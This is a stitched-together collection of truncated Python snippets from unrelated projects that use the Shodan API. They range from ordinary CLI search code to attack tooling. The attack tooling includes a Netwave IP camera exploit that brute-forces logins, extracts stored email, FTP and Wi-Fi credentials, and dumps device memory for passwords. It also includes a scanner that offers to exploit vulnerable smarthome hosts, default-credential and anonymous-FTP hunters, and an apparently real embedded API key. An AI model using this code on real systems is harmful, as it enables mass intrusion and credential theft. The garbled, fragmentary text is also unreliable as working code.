import glob, json, shodan, time, codecs shodan_client = shodan.Shodan("XXXXKEY") file_list = glob.glob("/tmp/onionscan_results/*.json") ssh_key_list = [] key_to_hosts = {} for json_file in file_list: with open(json_file, "rb") as fd: try: scan_result = json.load(fd) if scan_result['sshKey']: print scan_result['hiddenService'], " => ", scan_result[ 'sshKey'] if key_to_hosts.has_key(scan_result['sshKey']): key_to_hosts[scan_result['sshKey']].append( scan_result['hiddenService']) else: key_to_hosts[scan_result['sshKey']] = [ scan_result['hiddenService'] ] except ValueError: print "Oops! The JSON object gived problems...", fd for ssh_key in key_to_hosts: count = 0 if len(key_to_hosts[ssh_key]) > 1: print "[!] SSH Key %s is used on multiple hidden services." % ssh_key for key in key_to_hosts[ssh_key]:
import shodan import sys import os if len(sys.argv) < 2: print("webshellhafnium.py apishodan country:af") sys.exit() api = shodan.Shodan(sys.argv[1]) result = api.search("http.title:outlook exchange port:443 " + sys.argv[2]) for item in result["matches"]: print(item["ip_str"]) os.system("echo https://" + item["ip_str"] + " | nuclei -t hafnium_detect.yaml -v")
B = "\033[1;34m" Y = "\033[1;33m" W = "\033[1;37m" os.system('') print('%s## ## ## ## ##\n%s PRET.IO\n%s## ## ## ## ##\n' % (W, G, W)) key_open = open('api_key.txt', 'r') key_read = key_open.readlines() ip = B + '# ' if len(key_read) == 0: print(R + 'Error' + W + ' can not find a key available.' + G) key_api = input('Enter you key: ' + W) key_open2 = open('api_key.txt', 'w') key_open2.write(key_api) key_open2.close() api = shodan.Shodan(key_api) elif len(key_read) == 1: api = shodan.Shodan(key_read[0]) else: print(warn + 'Unexpect' + W + ' error.') if len(sys.argv) == 1: print('%sUsage: %spython3 ' % (G, W) + sys.argv[0] + ' <query search>') sys.exit(1) #try: query = ' '.join(sys.argv[1:]) file_hosts = 'hosts.' + query + '.txt' search = api.search(query) i = 0 for service in search['matches']: sleep(0.25) #Info gather
def search(color, fields, limit, separator, query): """Search the Shodan database""" key = get_api_key() # Create the query string out of the provided tuple query = ' '.join(query).strip() # Make sure the user didn't supply an empty string if query == '': raise click.ClickException('Empty search query') # For now we only allow up to 1000 results at a time if limit > 1000: raise click.ClickException('Too many results requested, maximum is 1,000') # Strip out any whitespace in the fields and turn them into an array fields = [item.strip() for item in fields.split(',')] if len(fields) == 0: raise click.ClickException('Please define at least one property to show') # Perform the search api = shodan.Shodan(key) try: results = api.search(query, limit=limit) except shodan.APIError as e: raise click.ClickException(e.value) # Error out if no results were found if results['total'] == 0: raise click.ClickException('No search results found') # We buffer the entire output so we can use click's pager functionality output = u'' for banner in results['matches']: row = u'' # Loop over all the fields and print the banner as a row for field in fields: tmp = u'' value = get_banner_field(banner, field) if value: field_type = type(value) # If the field is an array then merge it together if field_type == list: tmp = u';'.join(value) elif field_type in [int, float]: tmp = u'{}'.format(value) else: tmp = escape_data(value) # Colorize certain fields if the user wants it if color: tmp = click.style(tmp, fg=COLORIZE_FIELDS.get(field, 'white')) # Add the field information to the row row += tmp row += separator # click.echo(out + separator, nl=False) output += row + u'\n' # click.echo('') click.echo_via_pager(output)
def stream(color, fields, separator, limit, datadir, ports, quiet, timeout, streamer, countries, asn, alert, tags, compresslevel, vulns): """Stream data in real-time.""" # Setup the Shodan API key = get_api_key() api = shodan.Shodan(key) # Temporarily change the baseurl api.stream.base_url = streamer # Strip out any whitespace in the fields and turn them into an array fields = [item.strip() for item in fields.split(',')] if len(fields) == 0: raise click.ClickException('Please define at least one property to show') # The user must choose "ports", "countries", "asn" or nothing - can't select multiple # filtered streams at once. stream_type = [] if ports: stream_type.append('ports') if countries: stream_type.append('countries') if asn: stream_type.append('asn') if alert: stream_type.append('alert') if tags: stream_type.append('tags') if vulns: stream_type.append('vulns') if len(stream_type) > 1: raise click.ClickException('Please use --ports, --countries, --tags, --vulns OR --asn. You cant subscribe to multiple filtered streams at once.') stream_args = None # Turn the list of ports into integers if ports: try: stream_args = [int(item.strip()) for item in ports.split(',')] except ValueError: raise click.ClickException('Invalid list of ports') if alert: alert = alert.strip() if alert.lower() != 'all': stream_args = alert if asn: stream_args = asn.split(',') if countries: stream_args = countries.split(',') if tags: stream_args = tags.split(',') if vulns: stream_args = vulns.split(',') # Flatten the list of stream types # Possible values are: # - all # - asn # - countries # - ports if len(stream_type) == 1: stream_type = stream_type[0] else: stream_type = 'all' # Decide which stream to subscribe to based on whether or not ports were selected def _create_stream(name, args, timeout): return { 'all': api.stream.banners(timeout=timeout), 'alert': api.stream.alert(args, timeout=timeout), 'asn': api.stream.asn(args, timeout=timeout), 'countries': api.stream.countries(args, timeout=timeout), 'ports': api.stream.ports(args, timeout=timeout), 'tags': api.stream.tags(args, timeout=timeout), 'vulns': api.stream.vulns(args, timeout=timeout), }.get(name, 'all') stream = _create_stream(stream_type, stream_args, timeout=timeout) counter = 0 quit = False last_time = timestr() fout = None if datadir: fout = open_streaming_file(datadir, last_time, compresslevel) while not quit: try: for banner in stream: # Limit the number of results to output if limit > 0: counter += 1 if counter > limit: quit = True break # Write the data to the file if datadir: cur_time = timestr() if cur_time != last_time: last_time = cur_time fout.close() fout = open_streaming_file(datadir, last_time) helpers.write_banner(fout, banner) # Print the banner information to stdout if not quiet: row = u'' # Loop over all the fields and print the banner as a row for field in fields: tmp = u'' value = get_banner_field(banner, field) if value: field_type = type(value) # If the field is an array then merge it together if field_type == list: tmp = u';'.join(value) elif field_type in [int, float]: tmp = u'{}'.format(value) else: tmp = escape_data(value) # Colorize certain fields if the user wants it if color: tmp = click.style(tmp, fg=COLORIZE_FIELDS.get(field, 'white')) # Add the field information to the row row += tmp row += separator click.echo(row) except requests.exceptions.Timeout: raise click.ClickException('Connection timed out') except KeyboardInterrupt: quit = True except shodan.APIError as e: raise click.ClickException(e.value) except Exception: # For other errors lets just wait a bit and try to reconnect again time.sleep(1) # Create a new stream object to subscribe to stream = _create_stream(stream_type, stream_args, timeout=timeout)
def __init__(self, token): super(ShodanAPI, self).__init__() self.api = shodan.Shodan(token)
import json # Reading configuration file def ServiceConfig(filename): configPath = filename try: config = json.loads(open(configPath).read()) return config except FileNotFoundError: raise tornado.web.HTTPError(500) # Get service meta information and configuration Config = ServiceConfig("./service.conf") api = shodan.Shodan(Config["shodan"]["apikey"]) Metadata = { "Name": "Shodan", "Version": "1.0", "Description": "./README.md", "Copyright": "Copyright 2016 Holmes Group LLC", "License": "./LICENSE" } class Service(tornado.web.RequestHandler): def get(self): input = self.get_argument("obj", strip=False) data = runShodan(api, input) self.write(data)
def showdam(): def logger(data: str, log_file): file = open("report/" + log_file, "a", encoding="utf-8") file.write(data) file.close() os.system('clear') print(page_25) try: api = shodan.Shodan(shodan_api_key) counter = 1 b00m = input( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Введите ключевой запрос поиска: " ) limit = int( input( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Укажите лимит вывода данных от 5 до 500:{COLORS.WHSL} " )) data_start = input( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Выполнить сохранение результата в файле со своим именем? y/n:{COLORS.WHSL} " ).strip() if data_start.startswith("y" or "Y"): log_file = input( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Дайте название файлу: {COLORS.WHSL}" ) + '.txt' print("") print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Данные будут сохранены в папке report: {log_file}" ) print(f"\n" + " " + "»" * 85 + "\n") else: log_file = b00m.strip() + '--' + datetime.datetime.today( ).strftime("%Y-%m-%d-%H.%M.%S") + '.txt' print( f"\n {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Знаешь я все ровно сохраню в папку report, а то забудешь свои запросы \n" ) print(f"\n" + " " + "»" * 85 + "\n") print("") counter = counter + 1 resalt = api.search_cursor(b00m) # print(list(resalt)) try: if next(resalt): pass for banner in resalt: print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}IP address :{COLORS.GNSL} " + (banner["ip_str"])) print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Порт :{COLORS.GNSL} " + str(banner["port"])) print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Организация :{COLORS.GNSL} " + str(banner["org"])) print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Геолокация :{COLORS.GNSL} " + str(banner["location"])) print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Layer :{COLORS.GNSL} " + (banner["transport"])) print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Domains :{COLORS.GNSL} " + str(banner["domains"])) print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Hostnames :{COLORS.GNSL} " + str(banner["hostnames"])) print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Результат № : %s. Search query: %s" % (str(counter), str(b00m))) data = ("\nIP: " + banner["ip_str"]) + ( "\nPort: " + str(banner["port"]) ) + ("\nOrganisation: " + str(banner["org"])) + ( "\nLocation: " + str(banner["location"]) ) + ("\nLayer: " + banner["transport"]) + ("\nDomains: " + str( banner["domains"])) + ("\nHostnames: " + str( banner["hostnames"])) + ("\nData\n" + banner["data"]) logger(data, log_file) time.sleep(0.1) print("\n" + " " + f"{COLORS.REDL}»" * 85 + "\n") counter += 1 if counter >= limit: print( f' {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Выполнено' ) break except: print( f' Информации по вашему запросу не найдено, \n попробуйте скорректировать свой запрос, в меню shodan есть вкладка с примерами запросов' ) except KeyboardInterrupt: print("\n") print( " {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Выполняем обратный переход" ) time.sleep(0.5) except shodan.APIError as oeps: print( f" {COLORS.GNSL}[ {COLORS.REDL}+ {COLORS.GNSL}] {COLORS.WHSL}Суточные лимиты ключа привышены, попробуйте завтра." )
print(ascii_banner) print("Created by RahulGonal") time.sleep(5) print("Welcome to IP Creeper") time.sleep(5) print("This tool is meant for educational purposes only") time.sleep(5) ip_address = input('Enter the IP Address of the victim >>>>> ') print( "You are going to need api keys of both Shodan and Ipinfo for Ip Info Gathering" ) time.sleep(2) ShoApi = str(input("Enter your shodan api key >>>> ")) shhh = shodan.Shodan(ShoApi) Sinfo = shhh.host(ip_address) IpApi = input('Type your access token or api key from ipinfo.io >>>>> ') handler = ipinfo.getHandler(IpApi) details = handler.getDetails(ip_address) details.all print("+++++++++++++++++++") print("Results from Shodan") print("+++++++++++++++++++") pprint(Sinfo) print('+++++++++++++++++++') print("Results from IpInfo") print("+++++++++++++++++++") pprint(details.all) pprint("Thank You for using my script")
def NetworkSearchosts(): exploit = True found = False macaddr = "" email_user = '' email_pwd = '' ftp_user = '' ftp_pwd = '' ftp_svr = '' ftp_port = '' ddns_user = '' ddns_pwd = '' ddns_host = '' ddns_proxy_svr = '' msn_user = '' msn_pwd = '' try: shodanapi = shodan.Shodan(args.address) api = shodanapi.search(args.search, limit=args.limit, offset=args.offset) total = api.get('total') print(backgroundColor.OKGREEN + "[+] Shodan successfully Connected." + backgroundColor.ENDC) print(backgroundColor.OKGREEN + "[+] Netwave Exploit Enabled." + backgroundColor.ENDC) print(backgroundColor.OKGREEN + "[+] Netwave IP Camera Found: %d" % (total) + backgroundColor.ENDC) if args.username or args.password: usernames = args.username.readlines() passwords = args.password.readlines() print(backgroundColor.OKGREEN + "[+] Passwords loaded: %d" % (len(passwords)) + backgroundColor.ENDC) pass ShodanModuleExploit = raw_input( backgroundColor.WARNING + "[!] Disable password discovery module? (Yes/no): " + backgroundColor.ENDC) if ShodanModuleExploit.upper( ) == "YES" or ShodanModuleExploit.upper() == "Y": print(backgroundColor.FAIL + "[-] Netwave exploit disabled." + backgroundColor.ENDC) exploit = False while True: for hosts in api['matches']: host = hosts.get('ip_str') port = hosts.get('port') city = hosts['location']['city'] or 'n/a' country = hosts['location']['country_name'] or 'n/a' org = hosts.get('org', 'n/a') hostnames = hosts.get('hostnames', 'n/a') product = hosts.get('product', 'n/a') try: path = "snapshot.cgi" url = "http://%s:%s/%s" % (host, port, path) print( "[+] Launching brute force on host http://%s:%s" % (host, port)) for administrator in usernames: administrator = administrator.strip() for password in passwords: password = password.strip() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" } request = requests.get(url, auth=(administrator, password), headers=headers, timeout=0.3) status = request.status_code if status == 200: exploit = False found = True print( backgroundColor.OKGREEN + backgroundColor.BOLD + "[+] Password Found %s@%s" % (administrator, password) + backgroundColor.ENDC) print( backgroundColor.WARNING + "[!] Trying to get more information" + backgroundColor.ENDC) try: url = "http://%s:%s/get_params.cgi" % ( host, port) headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" } request = requests.get( url, headers=headers, auth=(administrator, password), timeout=0.3) response = request.text.split(";\n") if status == 200: for content in response: if content.startswith( "var mail_user="******"'") email_user = content[1] elif content.startswith( "var mail_pwd="): content = content.split( "'") email_pwd = content[1] elif content.startswith( "var ddns_user="******"'") ddns_user = content[1] elif content.startswith( "var ddns_pwd="): content = content.split( "'") ddns_pwd = content[1] elif content.startswith( "var ddns_host="): content = content.split( "'") ddns_host = content[1] elif content.startswith( "var ddns_proxy_svr="): content = content.split( "'") ddns_proxy_svr = content[1] elif content.startswith( "var ftp_svr="): content = content.split( "'") ftp_svr = content[1] elif content.startswith( "var ftp_port="): content = content.split( "=") ftp_port = content[1] elif content.startswith( "var ftp_user="******"'") ftp_user = content[1] elif content.startswith( "var ftp_pwd="): content = content.split( "'") ftp_pwd = content[1] elif content.startswith( "var msn_user="******"'") msn_user = content[1] elif content.startswith( "var msn_pwd="): content = content.split( "'") msn_pwd = content[1] if not (email_user == ''): print( backgroundColor.OKGREEN + "[+] Email: %s:%s" % (email_user, email_pwd) + backgroundColor.ENDC) if not (ftp_user == ''): print( backgroundColor.OKGREEN + "[+] FTP: ftp://%s:%s@%s:%s" % (ftp_user, ftp_pwd, ftp_svr, ftp_port) + backgroundColor.ENDC) if not (ddns_user == ''): print( backgroundColor.OKGREEN + "[+] DNS: http://%s:%s@%s:%s" % (ddns_user, ddns_pwd, ddns_host, ddns_proxy_svr) + backgroundColor.ENDC) if not (msn_user == ''): print( backgroundColor.OKGREEN + "[+] MSN: %s@%s" % (msn_user, msn_pwd) + backgroundColor.ENDC) except Exception as e: print(backgroundColor.FAIL + "[-] %s not found " % url + backgroundColor.ENDC) break else: found = False if ShodanModuleExploit.upper( ) == "YES" or ShodanModuleExploit.upper( ) == "Y": exploit = False else: exploit = True if not (found): if ShodanModuleExploit.upper( ) == "YES" or ShodanModuleExploit.upper() == "Y": exploit = False else: exploit = True print(backgroundColor.FAIL + backgroundColor.BOLD + "[!] Password not found" + backgroundColor.ENDC) except Exception as e: print(backgroundColor.FAIL + "[-] %s not found" % url + backgroundColor.ENDC) print(backgroundColor.WARNING + "[!] Getting System Information" + backgroundColor.ENDC) print(backgroundColor.WARNING + "[!] Getting Wireless System Information" + backgroundColor.ENDC) try: wireless = "http://%s:%s/get_status.cgi" % (host, port) headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" } response = requests.get(wireless, headers=headers, timeout=0.3) status = response.status_code content = response.text.split(';\n') if status == 200: for macaddress in content: if macaddress.startswith("var id="): macaddress = macaddress.split("'") macaddr = macaddress[1] print( backgroundColor.WARNING + "[+] Mac address found %s" % (macaddr) + backgroundColor.ENDC) else: print(backgroundColor.FAIL + "[-] Getting mac address" + backgroundColor.ENDC) except Exception as e: print(backgroundColor.FAIL + "[-] %s not found" % wireless + backgroundColor.ENDC) print( """[+] Host: http://%s:%s\n[+] Country: %s\n[+] City: %s\n[+] Organization: %s\n[+] Product: %s""" % (host, port, country, city, org, product)) log(host, port, country, city, org, product) try: url = "http://%s:%s//etc/RT2870STA.dat" % (host, port) headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" } response = requests.get(url, headers=headers, timeout=0.3) content = response.text.split("\n") status = response.status_code if status == 200: for crendential in content: if crendential.find( "WPAPSK") != -1 or crendential.find( "SSID") != -1: crendential = crendential.replace( "=", ": ") print(backgroundColor.OKGREEN + backgroundColor.BOLD + "[+] %s" % crendential + backgroundColor.ENDC) else: print(backgroundColor.FAIL + backgroundColor.BOLD + "[!] Wireless lan is disabled.." + backgroundColor.ENDC) except Exception as e: print(backgroundColor.FAIL + "[!] Error: Wireless lan is disabled.." + backgroundColor.ENDC) try: url = "http://%s:%s//proc/kcore" % (host, port) done = 0 linecount = 0 if exploit: print( backgroundColor.FAIL + "[+] Starting to read memory dump.. this could take a few minutes" + backgroundColor.ENDC) proc = subprocess.Popen("wget -qO- " + url + " >> tmpstream.txt", shell=True, preexec_fn=os.setsid) os.system('echo "" > tmpstrings.out') time.sleep(1) proc2 = subprocess.Popen( "tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid) print(backgroundColor.BOLD + "[+] CTRL+C to exit.." + backgroundColor.ENDC) while 1: sys.stdout.flush() if os.stat('tmpstrings.out').st_size <= 1024: sys.stdout.write( backgroundColor.OKGREEN + "binary data: " + str(os.stat('tmpstream.txt').st_size) + "\r" + backgroundColor.ENDC) else: sys.stdout.flush() print "[+] Strings in binary data found.. password should be around line 10000" for line in tailer.follow( open('tmpstrings.out', 'r')): if done == 0: linecount += 1 if line == macaddr: sys.stdout.flush() done = 1 print( backgroundColor.OKGREEN + "[+] Mac address triggered.. printing the following dumps, could leak username and passwords.." + backgroundColor.ENDC) else: sys.stdout.write( str(linecount) + "\r") elif done == 1: done = 2 print "[+] Firstline.. " + backgroundColor.OKGREEN + line + backgroundColor.ENDC elif done == 2: done = 3 print "[+] Possible username: "******"[+] Possible password: "******"[+] Following line.. \n\n" + backgroundColor.OKGREEN + line + backgroundColor.ENDC else: pass signal.pause() except: print( backgroundColor.FAIL + "[-] Victim isnt vulnerable for a memory leak, exiting.." + backgroundColor.ENDC) print(backgroundColor.OKGREEN + "[+] Done!" + backgroundColor.ENDC) return True except shodan.APIError as e: print(backgroundColor.FAIL + "[-] Error: %s" % (e) + backgroundColor.ENDC) sys.exit(0)
def searchTargets(APIKey): API = shodan.Shodan(APIKey) while True: try: returnCount = int(raw_input("How many IP's to scan?: ")) results = API.search('content/smarthome.php') print '\n%s Results Found!' % (results['total']) if returnCount >= results['total']: print "Amount of IP's to scan is greater than the total results!\nShowing all results." print "----- [INFO] -----" iter = 0 for result in results['matches']: try: req = requests.get('http://' + result['ip_str'] + ':9000/content/smarthome.php', timeout=3) if req.status_code == 200: try: src = req.text txt = BeautifulSoup(src, "lxml") h3 = txt.find('h3') versionNumber = ''.join( map(str, str(h3.contents).encode('UTF-8'))) versionNumber = re.findall('\d+', versionNumber) while len(versionNumber) > 2: versionNumber.pop(0) versionNumber = versionNumber[ 0] + '.' + versionNumber[1] if float(versionNumber) <= 4.20: print "IP: %s | Version: %s | %s" % ( result['ip_str'], versionNumber, "Vulnerable!") elif float(versionNumber) > 4.20: print "IP: %s | Version: %s | %s" % ( result['ip_str'], versionNumber, "Not Vulnerable!") else: exit("Unknown Error Occured!") except ValueError: print "Oops, Unknown Error Occured!" except: pass elif req.status_code == 403: print "IP: %s | %s |%s" % ( result['ip_str'], "Not Vulnerable! [Access Denied]") else: print "IP: %s | %s | %s [Status Code: ]" % ( result['ip_str'], "Vulnerability Unknown!", req.status_code) #print "IP: %s" % (result['ip_str']) iter += 1 if iter >= returnCount: exploitDevices_ = str( raw_input("Exploit Devices? [Y/N]: ")).upper() if exploitDevices_ == "Y" or exploitDevices_ == "YES": exploit() break elif exploitDevices_ == "N" or exploitDevices_ == "NO": exit() else: exit("Expected Y/N, got '" + exploitDevices_ + "' Instead.\nExiting...") except requests.exceptions.ConnectionError: print "IP: %s | %s" % ( result['ip_str'], "Not Vulnerable! [Connection Refused]") continue except ValueError: print "Please input integer value!" except KeyboardInterrupt: exit('\n^C Detected!\nExiting...') except EOFError: exit('\n^C Detected!\nExiting...') except Exception as errstr: exit(errstr)
import random from time import sleep import json import shodan import sys import os import shodan_keys as shodan_key import pathlib from tqdm import tqdm except ImportError as e: print( "[~] Please install the requirements file( pip install -r requirements) [~]\n {}" .format(str(e))) sys.exit(1) api = shodan.Shodan(shodan_key.shodan_key) def progress_bar(time): for i in tqdm(range(int(time))): sleep(1) def write_file(line): with open('hosts_list', 'at') as f: f.writelines(line) f.close() return False def list_reject(target=''):
import shodan sites = [] shodanKeyString = 'v4YpsPUJ3wjDxEqywwu6aF5OZKWj8kik' shodanApi = shodan.Shodan(shodanKeyString) results = shodanApi.search("port: 21 Anonymous user logged in") print("hosts number: " + str(len(results['matches']))) for match in results['matches']: if match['ip_str'] is not None: print(match['ip_str']) sites.append(match['ip_str'])
`.\ `-----< ) \ `.__ ).--._) (_) ' `{END} {RED}Version: 0.1{END} {BOLD}{ORANGE}Achilles0x0{END} {BOLD}{RED}L33t0s_H4ck0r${END} '''.format(**color) os.system('cls' if os.name == 'nt' else 'clear') codecs.register(lambda name: codecs.lookup('utf-8') if name == 'cp65001' else None) api = shodan.Shodan(get_api_key()) class Shenlong(object): def __init__(self): self.description = bn parser = argparse.ArgumentParser(description='Shodan OSINT - Shenlong', prog=self.description) parser.add_argument('-g', '--ipaddr', metavar='8.8.8.8', type=str, help='IP Address', default=None) parser.add_argument('-o', '--output',
#!/usr/bin/env python # # script to search shodan for freenas servers with port 22 open, attempt to SSH using default credentials # import shodan api = shodan.Shodan("") # initialize list to hold objects matchlist = [] filtered = [] # Define class to store results class ShodanMatch: def __init__(self, product, version, port, hostnames, timestamp, domains, data, transport, ip_str): self.product = product self.version = version # self.cpe = cpe self.port = port self.hostnames = hostnames self.timestamp = timestamp self.domains = domains self.data = data self.transport = transport self.ip_str = ip_str def __str__(self): return self.ip_str
from pymongo import MongoClient from config import SHODAN_KEY import shodan import time api = shodan.Shodan(SHODAN_KEY) mongo = MongoClient() db = mongo.shodan def search_shodan(key, collection, parse_func): db.drop_collection(collection) result = api.search(key, page=1) total = result['total'] pages = total // 100 + 1 parse(result, collection, parse_func) for page in range(2, pages): time.sleep(1) try: result = api.search(key, page=page) except shodan.exception.APIError: time.sleep(3) result = result = api.search(key, page=page) parse(result, collection, parse_func) def parse(result, collection, parse_func): matches = result['matches'] for match in matches:
args = parser.parse_args() # Deal with the key first if args.key: key = args.key else: cpath = os.path.expanduser('~/.shodan/api_key') if os.path.isfile(cpath): with open(cpath, 'r') as f: key = f.read().strip() else: print("No API key found") sys.exit(1) api = shodan.Shodan(key) try: res = api.host(args.IP, history=args.history) except shodan.exception.APIError: print("IP not found in Shodan") else: if args.verbose: print(json.dumps(res, sort_keys=False, indent=4)) else: print("%i entries:" % len(res['data'])) i = 0 for d in res['data']: print(d['timestamp']) print(d['_shodan']['module']) print("%s/%i" % (d['transport'], d['port'])) print(d['data'])
import multiprocessing from config import PortScan from web.models import SrcSubDomain, SrcPorts from web import DB from web.utils.logs import logger from tools.portscan.shodan_scan import scan from tools.portscan.socket_scan import socket_main from tools.portscan.scan_nmap import Nmap_Portscan check = True if not PortScan.shodan_api: logger.log('ALERT', f'未填写shodan api秘钥') check = False else: API = shodan.Shodan(PortScan.shodan_api) try: time.sleep(1) API.info() except shodan.exception.APIError as e: logger.log('ALERT', f'shodan api秘钥错误:{e}') check = False except Exception as e: logger.log('ALERT', f'shodan api异常:{e}') check = False def ReadSubDomain(): '''读取子域名任务''' if PortScan.cdn_scan: sql_subdomain = SrcSubDomain.query.filter(
# Created by Anant Shrivastava https://anantshri.info # Sample Usage ''' $python shodan_ip.py 8.8.8.8 2>/dev/null IP: 8.8.8.8 Organization: Google Operating System: None Port: 53 ; Banner: 1a648183000100000001000002383303323133033136340331313207696e2d61646472046172706100000c0001c0130006000100000707002f016703646e73026b720007696e7665727365036e6963026f72c03f77fd2c19000054600000038400093a800000a8c0 ''' # import sys import shodan api = shodan.Shodan('API_KEY_HERE') vulncnt = 0 if len(sys.argv) > 1: #print "Lets check api" host = api.host(sys.argv[1]) # Print general info print """ IP: %s Organization: %s Operating System: %s """ % (host['ip_str'], host.get('org', 'n/a'), host.get('os', 'n/a')) # Print all banners # Print all Vuln's caught by Shodan print "Vulnerabilities: " if host.get('vulns') is not None:
def showdam(): if os.path.exists("./api.txt") and os.path.getsize("./api.txt") > 0: with open("api.txt", "r") as file: shodan_api_key = file.readline().rstrip("\n") else: file = open("api.txt", "w") os.system("stty -echo") shodan_api_key = input(REDL + "[ + ] " + WHSL + " Ваш ключ не валидный. Введите другой :") os.system("stty echo") file.write(shodan_api_key) print ("\n[~] \033[34mFile written: ./api.txt \033[0m") file.close() api = shodan.Shodan(shodan_api_key) time.sleep(0.4) limit = 888 # Just a number counter = 1 try: print (REDL + "[ + ] " + WHSL + " Проверка вашего ключа shodan :") api.search("b00m") print (REDL + "[ + ] " + WHSL + " API Key Authentication: + " + WHSL + "Успешно авторизован..!") time.sleep(0.5) b00m = input(REDL + "[ + ] " + WHSL + " Введите ключевой запрос поиска :") counter = counter + 1 for banner in api.search_cursor(b00m): print (REDL + "[ + ] " + WHSL + " IP: " + (banner["ip_str"])) print (REDL + "[ + ] " + WHSL + " Порт: " + str(banner["port"])) print (REDL + "[ + ] " + WHSL + " Организация: " + str(banner["org"])) print (REDL + "[ + ] " + WHSL + " Локация: " + str(banner["location"])) print (REDL + "[ + ] " + WHSL + " Layer: " + (banner["transport"])) print (REDL + "[ + ] " + WHSL + " Layer: " + (banner["transport"])) print (REDL + "[ + ] " + WHSL + " Domains: " + str(banner["domains"])) print (REDL + "[ + ] " + WHSL + " Hostnames: " + str(banner["hostnames"])) print (REDL + "[ + ] " + WHSL + " Информация о баннере для службы: " + (banner["data"])) print (REDL + "[ + ] " + WHSL + " Результат: %s. Search query: %s" % (str(counter), str(b00m))) data = ("\nIP: " + banner["ip_str"]) + ("\nPort: " + str(banner["port"])) + ("\nOrganisation: " + str(banner["org"])) + ("\nLocation: " + str(banner["location"])) + ("\nLayer: " + banner["transport"]) + ("\nDomains: " + str(banner["domains"])) + ("\nHostnames: " + str(banner["hostnames"])) + ("\nData\n" + banner["data"]) logger(data) time.sleep(0.1) print ("\n" + " " + "»" * 78 + "\n") counter += 1 if counter >= limit: exit() except KeyboardInterrupt: print ("\n") print (REDL + "[ + ] " + WHSL + " Приятно было иметь с вами дело сэр...") time.sleep(0.5) sys.exit(1) except shodan.APIError as oeps: print ("[✘] \033[1;31mError: %s \033[0m" % (oeps)) sha_api = input(REDL + "[ + ] " + WHSL + "Хотите поменять API-ключ? <Y/N>: ").lower() if sha_api.startswith("y" or "Y"): file = open("api.txt", "w") os.system("stty -echo") shodan_api_key = input(REDL + "[ + ] " + WHSL + " Чувак... У тебя ключ не валидный. ") os.system("stty echo") file.write(shodan_api_key) print ("\n[~] \033[34mFile written: ./api.txt\033[0m") file.close() print ("[~] \033[34mRestarting the Platform, Please wait...\033[0m \n") time.sleep(1) showdam() else: print ("") sys.exit()
def download(limit, skip, filename, query): """Download search results and save them in a compressed JSON file.""" key = get_api_key() # Create the query string out of the provided tuple query = ' '.join(query).strip() # Make sure the user didn't supply an empty string if query == '': raise click.ClickException('Empty search query') filename = filename.strip() if filename == '': raise click.ClickException('Empty filename') # Add the appropriate extension if it's not there atm if not filename.endswith('.json.gz'): filename += '.json.gz' # Perform the search api = shodan.Shodan(key) try: total = api.count(query)['total'] info = api.info() except Exception: raise click.ClickException('The Shodan API is unresponsive at the moment, please try again later.') # Print some summary information about the download request click.echo('Search query:\t\t\t%s' % query) click.echo('Total number of results:\t%s' % total) click.echo('Query credits left:\t\t%s' % info['unlocked_left']) click.echo('Output file:\t\t\t%s' % filename) if limit > total: limit = total # A limit of -1 means that we should download all the data if limit <= 0: limit = total # Adjust the total number of results we should expect to download if the user is skipping results if skip > 0: limit -= skip with helpers.open_file(filename, 'w') as fout: count = 0 try: cursor = api.search_cursor(query, minify=False, skip=skip) with click.progressbar(cursor, length=limit) as bar: for banner in bar: helpers.write_banner(fout, banner) count += 1 if count >= limit: break except Exception: pass # Let the user know we're done if count < limit: click.echo(click.style('Notice: fewer results were saved than requested', 'yellow')) click.echo(click.style(u'Saved {} results into file {}'.format(count, filename), 'green'))
from investigate import Investigate from flask import Flask, render_template, request, redirect, url_for, abort, session from datetime import datetime import json import shodan from virustotal import VirusTotal from blogsearch import BlogSearch from bs4 import BeautifulSoup from alienvault import OTXv2 app = Flask(__name__) app.config['SECRET_KEY'] = 'F34TF$($e34D' api = shodan.Shodan('**********************************') virus_total = VirusTotal('****************************') blog = BlogSearch(verbose=True) @app.route('/') def index(): return render_template('home.html') @app.route('/home_post', methods=['POST']) def home_post(): session['domain'] = request.form['domain'] #session['checkbox'] = request.values formData = request.values for item in formData.items(): check = item if 'investigate' in check:
